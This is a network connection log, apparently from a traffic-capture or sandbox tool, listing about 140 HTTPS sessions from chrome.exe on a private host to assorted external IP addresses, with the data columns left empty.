Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1135	192.168.2.17	51143	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1136	192.168.2.17	51144	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1137	192.168.2.17	51148	35.174.179.73	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1138	192.168.2.17	51149	35.174.179.73	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1139	192.168.2.17	51150	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1140	192.168.2.17	51151	142.251.16.157	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1141	192.168.2.17	51153	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1142	192.168.2.17	51145	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1143	192.168.2.17	51154	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1144	192.168.2.17	51146	155.204.117.12	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1145	192.168.2.17	51152	142.250.72.102	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1146	192.168.2.17	51157	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1147	192.168.2.17	51155	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1148	192.168.2.17	51158	74.119.117.16	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1149	192.168.2.17	51159	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1150	192.168.2.17	51167	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1151	192.168.2.17	51160	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1152	192.168.2.17	51161	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1153	192.168.2.17	51165	34.36.216.150	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1154	192.168.2.17	51171	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1155	192.168.2.17	51163	54.147.229.205	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1156	192.168.2.17	51168	52.46.128.147	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1157	192.168.2.17	51169	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1158	192.168.2.17	51166	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1159	192.168.2.17	51162	54.159.170.51	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1160	192.168.2.17	51172	35.190.90.30	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1161	192.168.2.17	51164	64.202.112.191	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1162	192.168.2.17	51173	35.190.90.30	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1163	192.168.2.17	51147	23.83.76.52	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1164	192.168.2.17	51174	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1165	192.168.2.17	51175	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1166	192.168.2.17	51176	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1167	192.168.2.17	51177	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1168	192.168.2.17	51178	68.67.179.153	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1169	192.168.2.17	51180	68.67.179.153	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1170	192.168.2.17	51186	52.46.128.147	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1171	192.168.2.17	51183	142.250.80.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1172	192.168.2.17	51187	142.250.80.102	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1173	192.168.2.17	51196	142.250.65.238	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1174	192.168.2.17	51195	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1175	192.168.2.17	51205	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1176	192.168.2.17	51198	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1177	192.168.2.17	51204	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1178	192.168.2.17	51201	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1179	192.168.2.17	51206	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1180	192.168.2.17	51207	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1181	192.168.2.17	51208	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1182	192.168.2.17	51209	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1183	192.168.2.17	51210	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1184	192.168.2.17	51211	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1185	192.168.2.17	51213	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1186	192.168.2.17	51215	88.119.175.92	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1187	192.168.2.17	51216	172.64.154.248	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1188	192.168.2.17	51217	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1189	192.168.2.17	51221	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1190	192.168.2.17	51222	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1191	192.168.2.17	51223	142.250.80.34	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1192	192.168.2.17	51225	13.226.34.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1193	192.168.2.17	51227	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1194	192.168.2.17	51228	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1195	192.168.2.17	51231	151.101.64.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1196	192.168.2.17	51230	151.101.64.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1197	192.168.2.17	51234	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1198	192.168.2.17	51235	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1199	192.168.2.17	51229	3.211.252.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1200	192.168.2.17	51236	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1201	192.168.2.17	51237	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1202	192.168.2.17	51238	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1203	192.168.2.17	51241	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1204	192.168.2.17	51242	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1205	192.168.2.17	51243	142.251.40.132	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1206	192.168.2.17	51244	151.101.192.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1207	192.168.2.17	51245	151.101.192.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1208	192.168.2.17	51246	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1209	192.168.2.17	51248	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1210	192.168.2.17	51252	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1211	192.168.2.17	51253	142.251.40.100	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1212	192.168.2.17	51257	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1213	192.168.2.17	51258	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1214	192.168.2.17	51261	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1215	192.168.2.17	51262	172.67.164.44	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1216	192.168.2.17	51263	172.67.164.44	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1217	192.168.2.17	51268	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1218	192.168.2.17	51272	18.164.96.18	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1219	192.168.2.17	51274	34.239.40.49	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1220	192.168.2.17	51273	50.16.98.63	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1221	192.168.2.17	51271	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1222	192.168.2.17	51275	3.211.252.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1223	192.168.2.17	51277	104.18.36.155	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1224	192.168.2.17	51276	104.18.36.155	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1225	192.168.2.17	51281	3.208.175.5	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1226	192.168.2.17	51279	18.164.99.9	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1227	192.168.2.17	51278	207.65.37.179	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1228	192.168.2.17	51283	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1229	192.168.2.17	51284	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1230	192.168.2.17	51286	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1231	192.168.2.17	51288	104.21.41.99	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1232	192.168.2.17	51295	18.164.96.18	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1233	192.168.2.17	51293	34.239.40.49	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1234	192.168.2.17	51184	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1235	192.168.2.17	51292	50.16.98.63	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1236	192.168.2.17	51296	104.18.36.155	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1237	192.168.2.17	51298	3.233.167.98	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1238	192.168.2.17	51299	18.164.99.9	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1239	192.168.2.17	51297	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1240	192.168.2.17	51300	3.223.215.115	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1241	192.168.2.17	51302	172.240.155.100	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1242	192.168.2.17	51308	54.86.59.69	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1243	192.168.2.17	51305	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1244	192.168.2.17	51307	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1245	192.168.2.17	51306	54.81.20.119	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1246	192.168.2.17	51314	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1247	192.168.2.17	51317	104.18.36.155	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1248	192.168.2.17	51303	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1249	192.168.2.17	51304	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1250	192.168.2.17	51311	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1251	192.168.2.17	51316	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1252	192.168.2.17	51318	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1253	192.168.2.17	51321	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1254	192.168.2.17	51323	142.250.65.238	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1255	192.168.2.17	51310	188.40.16.146	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1256	192.168.2.17	51309	188.40.16.146	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1257	192.168.2.17	51327	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1258	192.168.2.17	51332	34.160.19.107	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1259	192.168.2.17	51334	34.96.105.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1260	192.168.2.17	51329	3.211.252.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1261	192.168.2.17	51322	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1262	192.168.2.17	51324	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1263	192.168.2.17	51325	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1264	192.168.2.17	51331	44.199.149.225	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1265	192.168.2.17	51333	69.90.254.78	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1266	192.168.2.17	51335	35.244.216.234	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1267	192.168.2.17	51328	185.184.8.90	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1268	192.168.2.17	51336	52.70.223.132	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1269	192.168.2.17	51338	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1270	192.168.2.17	51337	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1271	192.168.2.17	51340	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1272	192.168.2.17	51339	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1273	192.168.2.17	51349	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1274	192.168.2.17	51346	68.67.160.137	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

